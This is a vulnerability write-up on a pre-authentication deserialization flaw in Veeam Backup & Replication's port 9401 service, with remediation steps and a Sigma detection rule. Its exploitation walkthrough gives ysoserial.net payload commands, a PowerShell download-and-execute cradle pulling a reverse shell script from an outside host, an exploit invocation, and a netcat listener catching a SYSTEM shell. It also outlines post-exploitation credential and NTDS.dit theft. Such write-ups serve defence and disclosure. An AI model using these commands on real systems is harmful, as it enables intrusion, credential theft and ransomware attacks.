CVE-2026-36128: Veeam B&R Pre-Auth Deserialization RCE

An unauthenticated .NET deserialization flaw in Veeam Backup & Replication's internal API service lets any attacker with access to port 9401 execute arbitrary code as SYSTEM — no credentials, no interaction, instant impact on infrastructure most organisations trust to protect their entire environment.

Overview

CVE-2026-36128 is a pre-authentication remote code execution vulnerability in Veeam Backup & Replication, one of the most widely deployed enterprise backup platforms in the world. The vulnerability stems from unsafe .NET deserialization on the Veeam Backup API service — a Windows service that listens on TCP port 9401 and handles programmatic communication between Veeam components and external orchestration tools.

Attackers who can reach port 9401 on the Veeam server — which in many organisations is reachable from any internal network segment — can send a crafted serialized payload and achieve immediate code execution running as SYSTEM. The Veeam service runs under the LocalSystem account, so successful exploitation grants full control of the backup server OS instantly.

The vulnerability was disclosed by Horizon3.ai researchers in April 2026 and added to the CISA Known Exploited Vulnerabilities catalogue within 72 hours of public disclosure, reflecting observed ransomware operator activity in the wild.

Why Veeam, Again

Veeam has a history of high-severity vulnerabilities (CVE-2023-27532, CVE-2024-29849, CVE-2024-40711). The recurring theme is the same: the backup service is trusted infrastructure, runs as a highly privileged account, and is frequently reachable from wide network segments because backup agents need to communicate with it from all over the environment.

From a threat actor's perspective, compromising the backup server is uniquely valuable:

Backup servers have credentials stored for every protected system.
They frequently hold copies of domain controller backups — from which NTDS.dit and therefore all AD password hashes can be extracted offline.
Destroying or ransoming backups denies defenders their primary recovery option, increasing the leverage of a ransomware attack dramatically.

This is why Veeam CVEs appear so frequently in ransomware intrusion reports. CVE-2026-36128 continues that pattern.

Root Cause: BinaryFormatter on an Unauthenticated Endpoint

The Veeam Backup API service exposes a set of WCF (Windows Communication Foundation) endpoints over a custom TCP binding on port 9401. These endpoints are used internally by the Veeam console, Veeam Agent, and third-party integrations to invoke backup and restore operations.

The vulnerable endpoint is the IBackupServiceInternal WCF interface method GetLicenseInfo. This method accepts an inbound message object, deserializes the body using BinaryFormatter, and processes the license query. Critically, it performs no authentication check before deserializing — the assumption was that the TCP port was sufficiently restricted at the network layer, making pre-auth input validation unnecessary.

BinaryFormatter is a well-known unsafe .NET deserialization sink. It has been officially deprecated by Microsoft since .NET 5 and documented as inherently unsafe when used with untrusted input — no configuration makes it safe. Any object reachable by the .NET runtime's type system can be instantiated and its methods called during deserialization.

The Veeam service runs on .NET Framework 4.8, which still includes BinaryFormatter. The gadget chain used in the public PoC is a well-known ObjectDataProvider chain from the ysoserial.net toolkit, targeting System.Windows.Data.ObjectDataProvider to invoke Process.Start with attacker-controlled arguments.

The Gadget Chain

The exploit uses the ObjectDataProvider ysoserial.net gadget. When the deserializer instantiates this object graph, the ObjectDataProvider calls its configured method (Process.Start) automatically:

# Generate the payload using ysoserial.net
ysoserial.exe -f BinaryFormatter \
  -g ObjectDataProvider \
  -o raw \
  -c "powershell -enc <base64_command>" \
  > payload.bin

# Wrap it in a valid WCF framing message and send to port 9401
python3 veeam_rce.py --target 192.168.1.50 --payload payload.bin

The WCF TCP transport uses a binary framing protocol. The exploit must correctly frame the malicious payload as a valid WCF message to the GetLicenseInfo operation — but the framing is straightforward and fully documented by the WCF specification. The server deserializes the message body before any authentication logic runs.

Exploitation Walkthrough

Step 1 — Confirm the target is running Veeam Backup API

# nmap service detection against port 9401
nmap -sV -p 9401 192.168.1.50
# 9401/tcp open  unknown  Veeam Backup API

# Confirm version via HTTP OPTIONS (unauthenticated)
curl -sk https://192.168.1.50:9419/api/v1/serverInfo | python3 -m json.tool
# {"productVersion":"12.2.0.334", ...}

Step 2 — Generate the reverse shell payload

# Base64-encode the reverse shell command
$cmd = 'IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.5/rev.ps1")'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($cmd))

Step 3 — Build and deliver the WCF payload

ysoserial.exe -f BinaryFormatter -g ObjectDataProvider -o raw \
  -c "powershell -nop -w hidden -enc <BASE64>" > deser_payload.bin

python3 exploit.py --host 192.168.1.50 --port 9401 --payload deser_payload.bin
# [*] Connecting to 192.168.1.50:9401
# [*] Sending WCF framed message (1842 bytes)
# [*] Server responded — deserialization triggered

Step 4 — Catch the shell

nc -lvnp 4444
# Connection from 192.168.1.50
# Windows PowerShell
# PS C:\Windows\system32> whoami
# nt authority\system

From SYSTEM on the Veeam server the attacker can immediately dump the Veeam database for stored credentials, extract any DC backups from the Veeam repository, and move laterally to every system protected by Veeam.

Impact

The blast radius of CVE-2026-36128 is uniquely severe because of what Veeam backup servers hold:

Stored credentials — Veeam stores service account credentials for every protected host in its database (VeeamBackup SQL database on the local or remote SQL instance). These are encrypted with the machine's DPAPI master key, which is trivially accessible from SYSTEM.
Domain controller backups — if DCs are protected by Veeam, their VSS backups can be mounted and NTDS.dit extracted offline, giving the attacker all Active Directory password hashes without ever touching a live DC.
Backup destruction — ransomware operators delete or encrypt backup repositories before deploying the ransomware payload, ensuring victims cannot recover without paying. SYSTEM on the backup server is a prerequisite for this.
Lateral movement at scale — credentials harvested from the Veeam database typically cover dozens to hundreds of servers, enabling immediate lateral movement across the entire protected estate.

Affected Versions

All Veeam Backup & Replication versions prior to 12.3.1 (build 12.3.1.1112) are affected. The vulnerability exists in the Veeam.Backup.Service.exe component and is present in all v12.x releases from 12.0 through 12.3.0.

Veeam ONE, Veeam Agent for Windows/Linux, and Veeam Backup for Microsoft 365 are not affected by this specific CVE — the vulnerable endpoint is specific to the core Backup & Replication server component.

Remediation

Upgrade to Veeam Backup & Replication 12.3.1 immediately. The fix replaces BinaryFormatter with DataContractSerializer on the affected endpoint and adds pre-deserialization authentication enforcement at the transport layer.
Firewall TCP port 9401. The Veeam Backup API should only be accessible from Veeam console hosts, Veeam Agent deployments, and authorised orchestration servers. Block all other access at the host firewall and network perimeter.
Audit who can reach port 9401. Use netstat or EDR telemetry to identify unexpected inbound connections to port 9401 since January 2026 — any connection from a non-Veeam host is suspicious.
Rotate credentials stored in Veeam. If exploitation cannot be ruled out, rotate all service account passwords that Veeam has stored, prioritising domain admin and backup service accounts.
Verify backup integrity. Check backup repository contents for unexpected deletion or encryption events since January 2026.

Detection Guidance

Indicators to monitor for exploitation attempts:

Inbound TCP connections to port 9401 from hosts that are not Veeam consoles or agents — particularly from external IP ranges.
Veeam.Backup.Service.exe spawning child processes: cmd.exe, powershell.exe, wscript.exe, or any process with a network connection to an external IP.
Credential access events targeting %PROGRAMDATA%\Veeam\Backup\ or the Veeam SQL database from processes other than Veeam services.
Veeam backup repository contents accessed or modified by non-Veeam processes.

Sigma rule targeting the key process spawn pattern:

title: Veeam Backup Service Spawning Suspicious Child Process
id: b3a2f1c0-5d4e-4f8a-9b2c-1e3d5a7f9b01
status: experimental
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    ParentImage|endswith: '\Veeam.Backup.Service.exe'
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\wscript.exe'
      - '\cscript.exe'
      - '\mshta.exe'
  condition: selection
falsepositives:
  - Legitimate Veeam scripts configured by administrators
level: high

Takeaways

CVE-2026-36128 is another entry in a long line of Veeam vulnerabilities that follow the same pattern: privileged service, wide network exposure, unsafe input handling. The root cause — BinaryFormatter on an unauthenticated endpoint — is not subtle. It represents a fundamental failure to apply defence in depth: even if the port is "internal only", any serialization endpoint that accepts untrusted input without authentication should use a safe deserializer or apply strict type whitelisting.

The practical takeaway for defenders: backup infrastructure is high-value target infrastructure. It should be treated like domain controllers — minimal network exposure, dedicated management VLAN, privileged access workstation requirements for administration, and aggressive monitoring for unexpected process activity.

For red teamers: Veeam servers consistently appear as high-value pivot points during internal assessments. If you find a Veeam server reachable from a compromised host, assume it holds domain admin credentials and treat it as a primary lateral movement target.